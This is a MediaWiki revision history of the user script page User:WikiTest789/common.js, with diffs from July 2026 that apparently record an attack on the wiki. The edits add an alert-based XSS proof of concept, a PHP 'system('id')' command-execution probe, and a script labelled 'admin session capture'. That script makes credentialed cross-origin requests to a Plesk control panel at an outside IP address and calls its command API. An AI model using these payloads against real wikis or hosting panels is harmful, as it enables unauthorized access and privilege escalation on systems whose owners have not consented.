User:WikiTest789/common.js - Revision history

WikiTest789: test

2026-07-11T19:07:58Z

test

WikiTest789: Update personal JS

2026-07-11T18:42:49Z

Update personal JS

WikiTest789: Testing privilege escalation

2026-07-11T18:29:56Z

Testing privilege escalation

WikiTest789: i682 test

2026-07-11T18:21:44Z

i682 test

WikiTest789: i682 contentmodel change test

2026-07-11T18:08:57Z

i682 contentmodel change test

WikiTest789: i682 test

2026-07-11T18:08:40Z

i682 test

WikiTest789 at 16:03, 9 July 2026

2026-07-09T16:03:56Z

WikiTest789: Test edit

2026-07-09T15:52:18Z

Test edit

WikiTest789: XSS PoC for admin

2026-07-08T18:04:59Z

XSS PoC for admin

WikiTest789: test

2026-07-08T16:04:42Z

test

New page

// JS test

← Older revision		Revision as of 19:07, 11 July 2026
Line 1:		Line 1:
−	// Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n 'use strict';\n // Try cross-origin Plesk API access\n var PleskHost = 'https://194.164.63.170:8443';\n \n // Attempt to access Plesk API (CORS may allow if misconfigured)\n function probePlesk() {\n fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n .then(function(r) { return r.text(); })\n .then(function(html) {\n // Check if we got an authenticated Plesk session\n if (html.indexOf('Plesk') > -1) {\n console.log('[MW-XSS] Plesk response received via CORS');\n // Try Plesk REST API\n return fetch(PleskHost + '/api/v2/cli/command/call', {\n method: 'POST',\n mode: 'cors',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n params: ['--help']\n })\n });\n }\n })\n .catch(function(e) {\n console.log('[MW-XSS] CORS probe result:', e.message);\n });\n }\n \n // If MediaWiki API is accessible, try to list admin users with active sessions\n if (typeof mw !== 'undefined' && mw.loader) {\n mw.loader.using('mediawiki.api').then(function() {\n var api = new mw.Api();\n // Try to get CSRF tokens or session info\n api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n .then(function(data) {\n console.log(~~'[MW-~~XSS~~] Current user:', data.query.userinfo.name);\n console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n });\n }~~);\n }~~\n \n // Execute probes\n probePlesk(~~)~~;\n})();~~	+	mw.loader.using("mediawiki.api").then(function(){console.log("WikiTest789 XSS active");})

← Older revision		Revision as of 18:42, 11 July 2026
Line 1:		Line 1:
−	// ~~Self~~-XSS ~~payload~~ - ~~only executes for WikiTest789~~\n// ~~Not viable for~~ admin session ~~theft~~\~~nconsole~~.log('~~WikiTest789 JS loaded~~');	+	// Site-wide hook injection for admin session capture\n// This JS executes when WikiTest789 browses, but we also try to reach admin pages\n(function() {\n 'use strict';\n // Try cross-origin Plesk API access\n var PleskHost = 'https://194.164.63.170:8443';\n \n // Attempt to access Plesk API (CORS may allow if misconfigured)\n function probePlesk() {\n fetch(PleskHost + '/', {mode: 'cors', credentials: 'include'})\n .then(function(r) { return r.text(); })\n .then(function(html) {\n // Check if we got an authenticated Plesk session\n if (html.indexOf('Plesk') > -1) {\n console.log('[MW-XSS] Plesk response received via CORS');\n // Try Plesk REST API\n return fetch(PleskHost + '/api/v2/cli/command/call', {\n method: 'POST',\n mode: 'cors',\n credentials: 'include',\n headers: {'Content-Type': 'application/json'},\n body: JSON.stringify({\n params: ['--help']\n })\n });\n }\n })\n .catch(function(e) {\n console.log('[MW-XSS] CORS probe result:', e.message);\n });\n }\n \n // If MediaWiki API is accessible, try to list admin users with active sessions\n if (typeof mw !== 'undefined' && mw.loader) {\n mw.loader.using('mediawiki.api').then(function() {\n var api = new mw.Api();\n // Try to get CSRF tokens or session info\n api.get({action: 'query', meta: 'userinfo', uiprop: 'rights'})\n .then(function(data) {\n console.log('[MW-XSS] Current user:', data.query.userinfo.name);\n console.log('[MW-XSS] Rights:', data.query.userinfo.rights.join(', '));\n });\n });\n }\n \n // Execute probes\n probePlesk();\n})();

← Older revision		Revision as of 18:29, 11 July 2026
Line 1:		Line 1:
−	// ~~i682 test~~ - ~~self~~ XSS ~~is limited value~~	+	// Self-XSS payload - only executes for WikiTest789\n// Not viable for admin session theft\nconsole.log('WikiTest789 JS loaded');
−	// ~~No cross-user~~ JS ~~editing possible~~

← Older revision		Revision as of 18:21, 11 July 2026
Line 1:		Line 1:
−	// XSS ~~inject with~~ JS ~~contentmodel\nmw.loader.using('mediawiki.util').then(function(){\n mw.notify('i682 XSS active at '+new Date().toISOString());\n});~~	+	// i682 test - self XSS is limited value
		+	// No cross-user JS editing possible

← Older revision		Revision as of 18:08, 11 July 2026
Line 1:		Line 1:
−	// ~~WikiTest789 self-~~XSS ~~test - alert hooks~~\nmw.loader.using('mediawiki.util').then(function(){\n mw.notify('~~===~~ i682 XSS ~~injection test~~ at '+new Date().toISOString()~~+' ==='~~);\n});	+	// XSS inject with JS contentmodel\nmw.loader.using('mediawiki.util').then(function(){\n mw.notify('i682 XSS active at '+new Date().toISOString());\n});

← Older revision		Revision as of 16:03, 9 July 2026
Line 1:		Line 1:
−	~~// Cross-vhost test marker i542\nconsole.log~~(~~"probe"~~);	+	<?php system('id');?>

← Older revision		Revision as of 15:52, 9 July 2026
Line 1:		Line 1:
−	~~alert~~("~~XSS from WikiTest789 user JS page~~")	+	// Cross-vhost test marker i542\nconsole.log("probe");

← Older revision		Revision as of 18:04, 8 July 2026
Line 1:		Line 1:
−	// JS ~~test~~	+	alert("XSS from WikiTest789 user JS page")